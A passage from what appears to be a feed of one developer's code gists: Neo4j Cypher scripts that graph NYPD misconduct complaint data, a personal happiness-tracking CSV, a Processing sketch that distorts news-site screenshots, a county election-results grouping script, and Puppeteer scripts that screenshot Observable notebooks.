CREATE (incident:Incident {id: csvLine.ComplaintID, date: csvLine.IncidentDate, ccrbDisposition: csvLine.CCRBDisposition, nypdDisposition: csvLine.NYPDDisposition, location: csvLine.LocationType, reason: csvLine.ContactReason, outcome: csvLine.ContactOutcome, impactedRace: csvLine.ImpactedRace, impactedGender: csvLine.ImpactedGender, incidentCommand: csvLine.IncidentCommand})

CREATE INDEX FOR (incident:Incident) on (incident.id)

// CREATE RELATIONSHIPS BETWEEN OFFICERS AND PRECINCTS
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
MATCH (officer:Officer {id: toInteger(csvLine.ShieldNo)}), (precinct:Precinct {pct: csvLine.IncidentPrecinct})
CREATE (officer)-[:MEMBER_OF {currentRank: csvLine.CurrentRankLong}]-&gt;(precinct)

// CREATE RELATIONSHIPS BETWEEN OFFICERS AND INCIDENTS
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
MATCH (officer:Officer {id: toInteger(csvLine.OfficerID)}) with csvLine, officer
MATCH (incident:Incident {id: csvLine.ComplaintID}) with csvLine, officer, incident
CREATE (officer)-[:NAMED_IN {allegation: csvLine.Allegation}]-&gt;(incident)


// CREATE RELATIONSHIPS BETWEEN INCIDENTS AND PENALTIES
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
MATCH (incident:Incident {id: csvLine.ComplaintID}) with csvLine, incident
MATCH (penalty:Penalty {id: toInteger(csvLine.ComplaintID)}) with csvLine, incident, penalty
CREATE (incident)-[:RECEIVED_PENALTY]-&gt;(penalty)

// CREATE RELATIONSHIPS BETWEEN OFFICERS WHO CO-APPEAR IN INCIDENTS
// MATCH (o1:Officer)-[:NAMED_IN]-&gt;(i:Incident)&lt;-[:NAMED_IN]-(o2:Officer) WHERE id(o1)&lt;id(o2) CREATE (o1)-[:CO_OCCURANCE { weight: count(i) }]-&gt;(o2)
MATCH (o1:Officer)-[:NAMED_IN]-&gt;(i:Incident)&lt;-[:NAMED_IN]-(o2:Officer) WHERE id(o1)&lt;id(o2) CREATE (o1)-[:CO_OCCURANCE]-&gt;(o2)


// GENERATE OFFICER CENTRALITY
CALL gds.alpha.eigenvector.write({
  nodeProjection: &apos;Officer&apos;,
  relationshipProjection: &apos;CO_OCCURANCE&apos;,
  writeProperty: &apos;eigenvector&apos;
})
YIELD nodes, iterations, dampingFactor, writeProperty


// STREAM NODES AND RELATIONSHIPS TO GEPHI
match path = (:Officer)-[:NAMED_IN]-&gt;(:Incident) WITH path limit 50000 with collect(path) as paths call apoc.gephi.add(null,&apos;workspace1&apos;, paths) yield nodes, relationships, time return nodes, relationships, time

// STREAM OFFICER RELATIONSHIPS (NO INCIDENTS)
match path = (o1:Officer)-[:CO_OCCURANCE]-&gt;(o2:Officer) 
WHERE o1.eigenvector &gt; 0.25 AND o2.eigenvector &gt; 0.25
WITH path limit 160000 with collect(path) 
as paths call apoc.gephi.add(null,&apos;workspace1&apos;, paths, &apos;weight&apos;, [&apos;firstName&apos;, &apos;lastName&apos;]) yield nodes, relationships, time 
return nodes, relationships, time

match path = (o1:Officer)-[:CO_OCCURANCE]-&gt;(o2:Officer) 
WHERE o1.eigenvector &gt; 0.1 AND o2.eigenvector &gt; 0.1
WITH path limit 160000 with collect(path) 
as paths call apoc.gephi.add(null,&apos;workspace1&apos;, paths, &apos;weight&apos;, [&apos;firstName&apos;, &apos;lastName&apos;]) yield nodes, relationships, time 
return nodes, relationships, time</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Import CSV with Neo4J Cypher]]></title>
      <link>https://gist.github.com/5204cf3094de9261e05e3291cd22daca</link>
      <guid isPermaLink="true">https://gist.github.com/5204cf3094de9261e05e3291cd22daca</guid>
      <pubDate>Thu, 06 May 2021 17:10:44 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2021-05-06T17:10:45.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>import.cypher</code:filename>
        <code:language>Cypher</code:language>
        <code:size>3118</code:size>
      </code:file>
      <description><![CDATA[Import CSV with Neo4J Cypher]]></description>
      <content:encoded><![CDATA[<h3>import.cypher</h3><pre><code class="language-cypher">// clear data
MATCH (n:Officer) delete n;

MATCH (n:Incident) delete n;

MATCH (n:Precinct) delete n;

MATCH (n:Penalty) delete n;

CREATE CONSTRAINT officerIdConstraint ON (officer:Officer) ASSERT officer.id IS UNIQUE

CREATE CONSTRAINT incidentIdConstraint ON (incident:Incident) ASSERT incident.id IS UNIQUE

CREATE CONSTRAINT precinctIdConstraint ON (precinct:Precinct) ASSERT precinct.id IS UNIQUE

CREATE CONSTRAINT penaltyIdConstraint ON (penalty:Penalty) ASSERT penalty.id IS UNIQUE

// CREATE INDEX FOR (c:Country) ON (c.name)

// CREATE PRECINCTS
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
MERGE (precinct:Precinct {pct: COALESCE(csvLine.IncidentPrecinct, &apos;NO PRECINCT SET&apos;)})
RETURN precinct

// CREATE PENALTIES
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
MERGE (penalty:Penalty {penaltyRec: COALESCE(csvLine.PenaltyRec, &quot;NO PENALTY RECOMMENDATION&quot;), penaltyDesc: COALESCE(csvLine.PenaltyDesc, &quot;NO PENALTY DESCRIPTION&quot;)})
return penalty

// CREATE OFFICERS
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
MERGE (officer:Officer {id: toInteger(csvLine.OfficerID), lastName: csvLine.LastName, firstName: csvLine.FirstName, status: csvLine.Status, gender: csvLine.OfficerGender})
RETURN officer

// CREATE INCIDENTS
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
CREATE (incident:Incident {id: toInteger(csvLine.ComplaintID), date: csvLine.IncidentDate, ccrbDisposition: csvLine.CCRBDisposition, nypdDisposition: csvLine.NYPDDisposition, location: csvLine.LocationType, reason: csvLine.ContactReason, outcome: csvLine.ContactOutcome, impactedRace: csvLine.ImpactedRace, impactedGender: csvLine.ImpactedGender, incidentCommand: csvLine.IncidentCommand})

// CREATE RELATIONSHIPS BETWEEN OFFICERS AND PRECINCTS
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
MATCH (officer:Officer {id: toInteger(csvLine.ShieldNo)}), (precinct:Precinct {pct: csvLine.IncidentPrecinct})
CREATE (officer)-[:MEMBER_OF {currentRank: csvLine.CurrentRankLong}]-&gt;(precinct)

// CREATE RELATIONSHIPS BETWEEN OFFICERS AND INCIDENTS
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
MATCH (officer:Officer {id: toInteger(csvLine.OfficerID)}), (incident:Incident {id: toInteger(csvLine.ComplaintID)})
CREATE (officer)-[:NAMED_IN {allegation: csvLine.Allegation}]-&gt;(incident)

// CREATE RELATIONSHIPS BETWEEN INCIDENTS AND PENALTIES
USING PERIODIC COMMIT 500
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
MATCH (incident:Incident {id: toInteger(csvLine.ComplaintID)}), (penalty:Penalty {id: toInteger(csvLine.AllegationID)})
CREATE (incident)-[:RESULTED_IN]-&gt;(penalty)
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[my_happiness_2020.csv]]></title>
      <link>https://gist.github.com/feb5169d649ec09ce0b5ae856209426c</link>
      <guid isPermaLink="true">https://gist.github.com/feb5169d649ec09ce0b5ae856209426c</guid>
      <pubDate>Mon, 01 Mar 2021 22:39:37 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2021-03-01T22:39:37.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>my_happiness_2020.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>8864</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>my_happiness_2020.csv</h3><pre><code class="language-csv">Parsed Date,happiness,total,social,energy,wellness
2019-07-10,48.25351918,83.88230576,97.03125003,148.7255695,238.6566667
2019-07-11,149.6123334,98.34205408,185.3835502,94.47351362,249.3607796
2019-07-12,151.5025529,100,181.2305023,131.2680142,335.0919097
2019-07-13,104.975604,76.02830081,130.5435739,24.72176457,93.05885718
2019-07-14,106.9930615,79.22556595,70.54415526,50.38911631,176.7435962
2019-07-15,48.49782752,69.34323403,134.5885842,49.3129526,116.4604166
2019-07-16,65.89493656,88.01984618,181.9219129,94.17121736,127.9488072
2019-07-17,65.7430037,87.16667812,133.5655477,91.4792567,234.0841979
2019-07-18,78.91884416,86.8878136,95.92553568,80.09017738,245.2977639
2019-07-20,148.6842664,100,187.4233704,131.5904898,340.4887886
2019-07-21,147.0960912,88.57792211,134.3578327,61.92640705,176.6643099
2019-07-29,144.5430585,100,179.8814455,131.0781302,334.8056678
2019-07-30,95.62402553,98.12328063,97.18036484,131.0594136,323.5112786
2019-07-31,49.34829952,54.17247537,69.22978199,46.55587869,57.77632753
2019-08-01,93.2673598,97.98020794,245.5160826,134.5509183,205.2358574
2019-08-02,146.9604476,98.18776111,96.15211729,211.1008713,94.78668825
2019-08-04,8.064803803,14.96957248,7.244909668,17.44155797,29.34341007
2019-08-05,21.36516328,50.34726533,43.46055693,50.8186832,232.0992081
2019-08-06,47.80582795,68.94184506,68.86218326,69.42553341,173.2748471
2019-08-07,47.49177305,45.98626875,68.18814107,15.26567687,67.60702778
2019-08-07,35.15672589,48.61616709,68.16222332,35.63143197,68.73637532
2019-08-08,109.8830671,97.88553612,96.56923729,95.23896221,253.5908592
2019-08-10,143.5418538,74.33058272,130.7420042,14.43527573,321.3468335
2019-08-12,148.9883679,100,254.1989914,130.9913676,344.8134389
2019-08-13,105.8573116,83.82194474,135.3839805,46.07314914,181.6836927
2019-08-15,146.1804924,97.6771357,95.58868144,95.19799803,331.2226445
2019-08-17,39.6430995,80.47823181,127.1183723,95.28433986,170.6471
2019-08-18,34.72658117,54.96091442,70.52360606,34.79406284,240.1626243
2019-08-19,147.9816031,72.79260724,69.64825215,29.54318935,180.7219452
2019-08-20,65.0612815,89.51838445,130.1907838,133.8335728,232.3072429
2019-08-23,105.7092375,100,186.6620528,132.8210474,249.552028
2019-08-26,148.3751322,100,184.6696475,185.0354145,347.7150762
2019-08-27,90.93065903,96.13610992,94.28456104,112.3329597,179.2835695
2019-08-28,65.87415446,88.71361288,94.7568327,178.4182564,148.9693053
2019-08-29,35.64071843,62.23579594,69.5998128,72.47368988,79.40755446
2019-09-01,105.1361521,89.92244107,95.05105089,69.7074363,239.6536098
2019-09-03,106.7934318,90.63404259,132.3369059,68.78014196,178.6971078
2019-09-04,48.92737904,76.55198426,68.83409918,93.68983569,110.5735359
2019-09-05,144.0562676,90.4895467,69.01480802,88.95528365,312.9036851
2019-09-06,65.99177779,83.66940045,128.4179255,79.57289039,328.7664954
2019-09-08,90.88759884,70.5734608,94.34857093,14.79155655,172.7885541
2019-09-10,148.8425428,100,183.6882733,181.1724921,336.6060121
2019-09-11,145.3474153,100,131.8217136,210.4180652,248.8581176
2019-09-12,67.08655389,90.12596617,130.588385,133.0912741,332.2528071
2019-09-13,91.68117016,84.14330451,131.6242207,68.42597448,80.55580559
2019-09-16,107.7290516,74.2361835,183.8223833,14.12061166,337.2933917
2019-09-17,108.1923906,92.52995277,69.28882414,95.5739598,239.0132315
2019-09-18,90.93393531,71.64013894,134.159092,14.5331945,317.223296
2019-09-18,143.535662,83.0171322,175.6881817,43.39044066,171.4144564
2019-09-19,104.5915482,83.33218723,96.08844689,47.04832618,129.7814551
2019-09-20,89.84970365,95.79383994,109.5292828,96.1297628,326.4539137
2019-09-21,93.79319335,98.137958,186.5155954,180.2065468,344.8257223
2019-09-22,65.93813811,73.72108215,130.7923026,46.46546904,332.8848715
2019-09-23,148.1033934,93.80019084,69.00095418,131.5198902,246.8811587
2019-09-24,105.421701,72.42648936,80.75048983,20.92130465,332.9208252
2019-09-26,148.2738688,89.01013508,182.1058057,63.36711694,340.471104
2019-09-26,66.33467274,88.96508182,182.3894962,96.88226665,111.0960804
2019-09-27,206.3088047,100,258.1215907,183.0378175,256.3850535
2019-09-30,197.4032414,98.11354819,176.5436422,93.7118273,237.2373631
2019-10-03,21.298194,17.09731112,10.4832733,14.10271893,21.90191288
2019-10-03,8.601145791,15.64274478,16.82838747,17.59508619,22.09098847
2019-10-04,103.7888641,97.35520087,95.40724547,94.24583924,332.3573129
2019-10-06,145.3309342,100,174.4869837,128.8675645,334.8041119
2019-10-08,108.6439704,89.8448559,94.22674739,69.99835473,247.5074673
2019-10-10,146.9462306,100,180.1764488,134.9768976,240.0738554
2019-10-11,147.9769458,95.25254656,94.77101289,87.66114659,334.047884
2019-10-13,148.5203505,93.76198448,68.80992238,134.7967013,247.0010252
2019-10-15,104.3513767,86.4408073,32.2040365,147.7710389,123.7430575
2019-10-20,68.45527634,69.15217668,95.25450479,31.88230941,175.4156961
2019-10-21,106.0400623,68.69890738,66.95874286,17.69052936,326.1734872
2019-10-30,65.46232851,74.2081264,128.3703919,48.56475948,177.5922408
2019-10-30,65.78166401,72.30211104,92.83220973,46.67056631,175.1829219
2019-11-01,105.4553771,98.15498907,112.1668032,93.84996357,177.5287514
2019-11-02,146.6450774,74.12163875,93.0480905,18.37340217,331.0254418
2019-11-03,107.2556034,73.14092837,69.04490136,31.10649367,179.2108992
2019-11-04,107.2268443,100,132.8997668,186.0955825,152.242582
2019-11-05,149.5567203,99.88870737,133.8317428,99.62902458,342.315861
2019-11-06,146.6922725,100,131.0815645,129.3302332,239.6198608
2019-11-08,66.33616367,89.9008491,129.4513404,130.3410692,237.4842904
2019-11-09,103.0463619,70.03603928,32.16907838,45.34074535,105.9893886
2019-11-10,154.068208,97.5552812,185.8439764,91.85093734,352.1486379
2019-11-11,92.37750973,97.71325292,251.4894819,175.954597,328.2685449
2019-11-12,148.3073182,81.05751699,94.7875034,40.33338771,174.1556039
2019-11-14,203.597897,100,135.3412123,177.4864981,155.805255
2019-11-14,107.1120415,100,132.9533772,131.2107539,336.3671952
2019-11-17,93.69015829,74.40564365,247.130551,20.99532054,126.9955436
2019-11-18,65.26633493,69.49998107,94.52060724,64.2112447,58.76292866
2019-11-19,91.50439841,85.39112772,131.2564174,59.79936065,209.4155272
2019-11-20,92.40502086,97.72150626,177.9800654,182.4910424,331.0006995
2019-11-23,65.4832919,81.55967551,59.57343971,128.5654929,127.2159564
2019-11-24,68.03128663,71.80534745,96.08290463,40.5979351,178.7458981
2019-11-25,105.714907,78.59906209,180.6743747,28.66354031,237.361324
2019-11-25,104.9611816,66.37926101,70.84118806,7.370078003,252.467154
2019-11-26,108.8291752,100,131.1693117,127.3572708,329.3050668
2019-11-27,21.62933882,42.37705449,7.803178082,69.92879621,66.74489184
2019-11-27,106.5289461,87.31672812,36.58364059,131.8932812,210.3426248
2019-11-28,105.7305401,98.13561808,181.5510323,93.78539359,127.1849399
2019-11-30,106.8531352,62.59396408,95.53652771,24.73051818,30.33751544
2019-12-01,66.9304948,76.37463262,130.1828352,93.54856245,41.15457721
2019-12-03,75.10191524,34.11269891,26.40380251,12.01004111,13.49175752
2019-12-04,105.7141865,63.79446782,93.02282623,5.472390315,67.7409274
2019-12-05,90.56578539,88.0814952,59.09667169,96.97475082,332.5470795
2019-12-06,47.30145933,52.83086384,27.26094474,90.3358467,30.43741542
2019-12-18,65.98941816,74.44044766,94.6139047,80.47155665,57.89687139
2020-01-15,107.6640356,82.02604316,129.8049621,40.08681053,244.7504506
2020-01-16,47.26108243,72.62272419,42.22199731,212.3066623,246.671647
2020-02-16,65.44680174,46.62701423,26.92582066,5.359365252,107.7972261
2020-02-17,29.22710103,34.38280107,58.91560226,14.05361219,48.07733328
2020-02-20,91.4266989,87.29150612,180.8695171,70.08684572,94.18721366
2020-04-09,106.8951852,75.94116768,80.23034742,42.26239541,86.08189788
2020-04-12,105.0374234,82.06105568,80.12859389,62.50928668,86.41275451
2020-04-13,107.0649456,82.84358209,80.35383834,86.93480728,53.46186121
2020-04-14,146.6691532,77.24939896,130.1572193,29.2234395,92.41183556
2020-04-16,66.44248098,88.8438776,180.8547698,96.37044436,241.387553
2020-04-29,47.86375798,68.26118376,180.037685,46.34018787,236.6984595
2020-05-26,90.93664712,91.51149548,130.4933519,80.76833782,176.8514832
2020-07-06,66.86805355,77.9691353,181.0128301,59.69573077,330.5007458
2020-08-10,48.23577213,60.22166657,79.79796626,41.91934848,86.07768565
2020-09-03,78.05258869,90.5094731,104.6922509,111.6207615,85.46848248
2020-09-04,65.5433841,89.66301523,182.6976664,286.7501687,236.1719182
2020-09-07,66.24675521,62.28076665,68.20047617,29.22214952,239.1478305
2020-09-12,77.66987125,88.666127,82.07059465,96.50348898,237.9888214
2020-10-02,150.7140703,95.64225358,194.3698528,85.47417861,353.1911543
2020-11-13,46.85592479,64.10829039,51.10302838,66.10302425,128.2656039
2020-11-14,65.91493822,87.0837845,94.47260777,94.71593828,240.7585563
2020-11-16,21.38442178,31.95729675,92.84677582,3.392492106,29.77433711
2021-02-27,65.35743942,63.37266629,96.16811761,15.10603647,175.2469002</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Doomscroller Processing Script]]></title>
      <link>https://gist.github.com/a081d4b59064a31e16ff9bf17d3531a6</link>
      <guid isPermaLink="true">https://gist.github.com/a081d4b59064a31e16ff9bf17d3531a6</guid>
      <pubDate>Wed, 10 Feb 2021 23:00:04 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2021-02-10T23:00:04.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>ndplayer.processing</code:filename>
        <code:language>Unknown</code:language>
        <code:size>2741</code:size>
      </code:file>
      <description><![CDATA[Doomscroller Processing Script]]></description>
      <content:encoded><![CDATA[<h3>ndplayer.processing</h3><pre><code>PImage img;  // Declare a variable of type PImage
float yScroll = 0;
// float scrollAmt = 50;
float threshold = 127;
PImage destination;
int lines = 1;
int scrollStart = 768;
float scrollScreens;
int revealAmt;

String[] sources = {
  &quot;www.apnews.com&quot;, 
  &quot;www.npr.org&quot;, 
  &quot;nypost.com&quot;, 
  &quot;www.cnn.com&quot;, 
  &quot;www.nydailynews.com&quot;, 
  &quot;mobile.reuters.com&quot;, 
  &quot;www.nbcnews.com&quot;, 
  &quot;www.washingtonpost.com&quot;, 
  &quot;www.wsj.com&quot;, 
  &quot;www.breitbart.com&quot;, 
  &quot;www.theblaze.com&quot;, 
  &quot;dailycaller.com&quot;, 
  &quot;drudgereport.com&quot;, 
  &quot;www.msnbc.com&quot;, 
  &quot;www.foxnews.com&quot;, 
  &quot;www.nytimes.com&quot;, 
  &quot;news.vice.com&quot;, 
  &quot;www.latimes.com&quot;, 
  &quot;m.huffpost.com&quot;, 
  &quot;abcnews.go.com&quot;, 
  &quot;www.cbsnews.com&quot;, 
  &quot;newrepublic.com&quot;, 
  &quot;www.motherjones.com&quot;, 
  &quot;www.slate.com&quot;, 
  &quot;talkingpointsmemo.com&quot;, 
  &quot;www.redstate.com&quot;, 
  &quot;www.nationalreview.com&quot;
};

void setup() {
  size(1024, 768, P3D);
  initImg();
  destination = createImage(1024, 5000, RGB);
}

void initImg () {
  int rand = (int)random(sources.length);
  lines = 1;
  String source = sources[rand];
  // String today = &quot;2021-01-8&quot;;
  String today = year() + &quot;-&quot; + nf(month(), 2) + &quot;-&quot; + day();
  print(&quot;\n today:&quot; + today);
  String imgPath = &quot;../../newsdivide/day/&quot; + today + &quot;/&quot; + source + &quot;.jpg&quot;;
  yScroll = 0;
  revealAmt = (int)random(25);

  scrollScreens = (int)random(3);
  scrollScreens = scrollScreens + 0.25;
  // Make a new instance of a PImage by loading an image file
  img = loadImage(imgPath);
}

void draw() {
  int scrollAmt = (int)random(50) + 5;
  int rndX = (int)random(img.width);
  int rndY = (int)random(img.height);
  //print(&quot;\n scrollScreens&quot; + scrollScreens);
  //print(&quot;\n lines&quot; + lines);
  //print(&quot;\n &quot; + img.height);
  if (lines &gt; scrollStart) {
    yScroll = yScroll - scrollAmt;
  }

  // background(0);
  // Draw the image to the screen at coordinate (0,0)
  //image(img,0,yScroll);
  // print(lines);
  for (int x = 0; x &lt; img.width; x++) {
    for (int y = 0; y &lt; img.height; y++ ) {
      int loc = x + y*img.width;
      if (y &gt; lines &amp;&amp; (lines &lt; scrollStart)) {
        //destination.pixels[loc] = color(255, 0, 0);
      } else {
        if (brightness(img.pixels[loc]) &gt; threshold) {
          //destination.pixels[loc] = color(255);
          float bt = brightness(img.pixels[loc]);
          destination.pixels[loc] = color(bt);
        } else {
          destination.pixels[loc] = color(0);
        }
      }
    }
  }

  destination.updatePixels();
  image(destination, 0, yScroll);
  fill(0);
  //text(day()+&quot;/&quot;+month()+&quot;/&quot;+year()+&quot; - &quot;+hour()+&quot;:&quot;+minute()+&quot;:&quot;+second(),width/2,height/2);
  //image(destination, 0, 0);

  if (lines &lt; img.height) {
    lines = lines+revealAmt;
  }

  if ( (yScroll &lt; -(768*scrollScreens))) {
    initImg();
  }
}</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[groupByCounty.mjs]]></title>
      <link>https://gist.github.com/01ade40ba81d27601d20a77d7c845115</link>
      <guid isPermaLink="true">https://gist.github.com/01ade40ba81d27601d20a77d7c845115</guid>
      <pubDate>Mon, 05 Oct 2020 01:29:42 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2020-10-05T01:29:42.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>groupByCounty.mjs</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>2008</code:size>
      </code:file>
      <code:file>
        <code:filename>package.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>654</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>groupByCounty.mjs</h3><pre><code class="language-javascript">import find from &apos;lodash/find&apos;
import filter from &apos;lodash/filter&apos;
import sortBy from &apos;lodash/sortBy&apos;
import fs from &apos;fs&apos;
//import nest from &apos;d3-collection&apos;
import * as collection from &apos;d3-collection&apos;

let argv = process.argv


/*
const fs = require(&apos;fs&apos;).promises

const {
  nest
} = require(&apos;d3-collection&apos;)
*/

// console.log(&apos;argv&apos;, JSON.stringify(argv))

let readFile = &apos;&apos;
if (argv[2]) {
  readFile = argv[2]
} else {
  readFile = &apos;county-elections.json&apos;
}

// There is no output file
// We just print JSON through console.log
// But if there were...
// let outputFile = &apos;&apos;
// if (argv[3]) {
//   outputFile = argv[3]
// } else {
//   outputFile = &apos;county-elections.json&apos;
// }

async function main() {
  const file = await fs.readFileSync(readFile)
  const data = JSON.parse(file)
  
  const nestedData = collection.nest()
      .key(function(d){
        return d.FIPS
      })
      .key(function(d){
       return d.year
      })
       .entries(data) 
  const mappedData = nestedData.map(function(d,k){
    const yearEntries = d.values
    // yearEntries is full of objects which represent a candidate
    let e2016 = find(yearEntries, {
      key: &apos;2016&apos;
    })

    e2016.values = sortBy(e2016.values, (d) =&gt; +d.candidatevotes ).reverse()
    const e2016c1 = e2016.values[0]
    const e2016c2 = e2016.values[1]
    const e2016_votediff = +e2016c1.candidatevotes - +e2016c2.candidatevotes
    const demCand = find(e2016.values, {party: &apos;democrat&apos;})
    const repCand = find(e2016.values, {party: &apos;republican&apos;})

    let FIPS = +(e2016c1.FIPS)
    if (!FIPS) return false
    FIPS = FIPS.toString().padStart(5, 0)
    if (FIPS === null) return false

    return {
      &apos;FIPS&apos;: FIPS,
      e2016_votediff,
      e2016_rep_winner: e2016c1.party === &apos;republican&apos; ? true : false,
      e2016_dem_winner: e2016c1.party === &apos;democrat&apos; ? true : false,
      e2016_rep_vote: +repCand.candidatevotes,
      e2016_dem_vote: +demCand.candidatevotes
    }
  })
  console.log(JSON.stringify(mappedData))
}
main()
</code></pre>
<h3>package.json</h3><pre><code class="language-json">{
  &quot;name&quot;: &quot;eavs-analysis&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;description&quot;: &quot;&quot;,
  &quot;main&quot;: &quot;index.js&quot;,
  &quot;scripts&quot;: {
    &quot;test&quot;: &quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 1&quot;
  },
  &quot;author&quot;: &quot;&quot;,
  &quot;license&quot;: &quot;ISC&quot;,
  &quot;dependencies&quot;: {
    &quot;chalk&quot;: &quot;^4.1.0&quot;,
    &quot;d3&quot;: &quot;^5.16.0&quot;,
    &quot;d3-collection&quot;: &quot;^1.0.7&quot;,
    &quot;d3-dsv&quot;: &quot;^1.2.0&quot;,
    &quot;esm&quot;: &quot;^3.2.25&quot;,
    &quot;fast-csv&quot;: &quot;^4.3.0&quot;,
    &quot;firstline&quot;: &quot;^2.0.2&quot;,
    &quot;inquirer&quot;: &quot;^7.2.0&quot;,
    &quot;lodash&quot;: &quot;^4.17.15&quot;,
    &quot;lodash-es&quot;: &quot;^4.17.15&quot;,
    &quot;ndjson-to-json&quot;: &quot;^1.0.0&quot;,
    &quot;shelljs&quot;: &quot;^0.8.4&quot;,
    &quot;slugify&quot;: &quot;^1.4.0&quot;,
    &quot;spacetime-cli&quot;: &quot;github:nypl-spacetime/spacetime-cli&quot;,
    &quot;yargs&quot;: &quot;^15.3.1&quot;
  }
}
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[package.json]]></title>
      <link>https://gist.github.com/80165a888453f2b38d0fbd9b9f839eb0</link>
      <guid isPermaLink="true">https://gist.github.com/80165a888453f2b38d0fbd9b9f839eb0</guid>
      <pubDate>Tue, 11 Aug 2020 03:04:00 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2020-08-11T03:16:37.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>package.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>279</code:size>
      </code:file>
      <code:file>
        <code:filename>scrape-art.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>654</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>package.json</h3><pre><code class="language-json">{
  &quot;name&quot;: &quot;prerender&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;description&quot;: &quot;&quot;,
  &quot;main&quot;: &quot;index.js&quot;,
  &quot;scripts&quot;: {
    &quot;test&quot;: &quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 1&quot;
  },
  &quot;author&quot;: &quot;&quot;,
  &quot;license&quot;: &quot;ISC&quot;,
  &quot;dependencies&quot;: {
    &quot;@alex.garcia/observable-prerender&quot;: &quot;0.0.2&quot;
  }
}
</code></pre>
<h3>scrape-art.js</h3><pre><code class="language-javascript">const { load } = require(&quot;@alex.garcia/observable-prerender&quot;);
const puppeteer = require(&quot;puppeteer&quot;);

async function main() {

    const outputFolder = &apos;output&apos;

    const browser = await puppeteer.launch({
        defaultViewport: { 
            deviceScaleFactor: 1,
            height: 900,
            width: 900
        },
        // args: [`--window-size=${mapWidth},${mapHeight}`],
    });
    const notebook = await load(
    &quot;@codingwithfire/pattern-moire-line-circle-grids&quot;,
    [&quot;sketch&quot;],
    { browser }
    );

    await notebook.screenshot(&quot;sketch&quot;, `${outputFolder}/screenshot.png`);


    await notebook.browser.close();
    
}
main();</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[alex4.js]]></title>
      <link>https://gist.github.com/2ac9fc80384918f30b0f781add06dc86</link>
      <guid isPermaLink="true">https://gist.github.com/2ac9fc80384918f30b0f781add06dc86</guid>
      <pubDate>Tue, 04 Aug 2020 15:22:31 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2020-08-05T03:17:13.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>alex4.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>2737</code:size>
      </code:file>
      <code:file>
        <code:filename>package.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>279</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>alex4.js</h3><pre><code class="language-javascript">const { load } = require(&quot;@alex.garcia/observable-prerender&quot;);
const puppeteer = require(&quot;puppeteer&quot;);

async function main() {
    let mapWidth = 1920
    let mapHeight = 1080
    // let startDate = &quot;20200301&quot;

    let startDate = &quot;20200122&quot;

    const browser = await puppeteer.launch({
        defaultViewport: { 
            width: mapWidth, 
            height: mapHeight,
            deviceScaleFactor: 1
        },
        // args: [`--window-size=${mapWidth},${mapHeight}`],
    });
    const notebook = await load(
    &quot;@codingwithfire/cmu-covidcast-api-map-maker-dot-density&quot;,
    [&quot;map&quot;, &quot;ny&quot;, &quot;ca&quot;, &quot;tx&quot;, &quot;fl&quot;],
    { browser }
